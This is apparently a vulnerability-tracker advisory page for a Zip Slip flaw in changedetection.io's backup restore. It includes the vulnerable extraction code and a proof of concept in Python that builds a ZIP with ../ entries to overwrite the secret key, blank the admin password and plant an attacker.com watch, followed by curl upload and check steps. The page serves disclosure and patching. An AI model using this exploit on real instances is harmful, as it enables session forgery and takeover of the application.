CVE-2026-29065High▾ Twilightchangedetection.io has Zip Slip vulnerability in the backup restore functionality
▾ Twilight zone — High severity, or a signal on a lesser flaw
impact 41.3 · likelihood 0.1 · exploitation 0
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Exploit-prediction probability, daily snapshots since Jul 13.
Disclosure to exploitation, from the record and what we observed since indexing it.
Disclosed via OSV
Last analysed / modified upstream
0.5%
A Zip Slip vulnerability in the backup restore functionality allows arbitrary file overwrite via path traversal in uploaded ZIP archives.
A Zip Slip vulnerability in the backup restore functionality allows arbitrary file overwrite via path traversal in uploaded ZIP archives. The application uses zipfile.extractall() without validating entry paths, allowing ../ sequences to escape the extraction directory.
Vulnerable Code (lines 50-53):
def restore_backup(self, filename):
with zipfile.ZipFile(filename, 'r') as zip_ref:
# VULNERABLE: No path validation before extraction
zip_ref.extractall(self.datastore_path)
The extractall() function preserves the relative paths stored within the ZIP archive. When a malicious ZIP contains entries with ../ path traversal sequences, these files are extracted outside the intended directory.
| Path in ZIP | Target File | Impact |
|---|---|---|
| ../secret.txt | Flask secret key | Session forgery, auth bypass |
| ../changedetection.json | App settings | Disable password, inject backdoor |
| ../url-watches.json | Watch index | Inject malicious watches |
| ../{uuid}/watch.json | Watch config | Modify any watch |
Attacker uploads ZIP via the backup restore functionality at /backups/restore Application extracts files without validation, writing attacker content to sensitive locations
Step 1: Create Malicious ZIP
import zipfile
import json
with zipfile.ZipFile("zipslip.zip", "w") as zf:
# Escape extraction directory with ../
zf.writestr("../secret.txt", "ATTACKER-CONTROLLED-SECRET")
zf.writestr("../changedetection.json", json.dumps({
"settings": {"application": {"password": ""}}
}))
zf.writestr("../pwned-uuid-1234/watch.json", json.dumps({
"url": "https://attacker.com/zipslip-pwned",
"title": "🔴 ZIPSLIP-PROOF"
}))
Step 2: Upload via Restore Endpoint
-F "[email protected]" \
-F "include_watches=y" \
-F "include_settings=y"
###Step 3: Verify Path Traversal
###ls -la /datastore/
curl "http://target:5000/" | grep "ZIPSLIP"
changedetection-io < 0.54.4Upgrade to a patched release:
changedetection-io 0.54.4Connected by shared product, vendor, weakness, or advisory.
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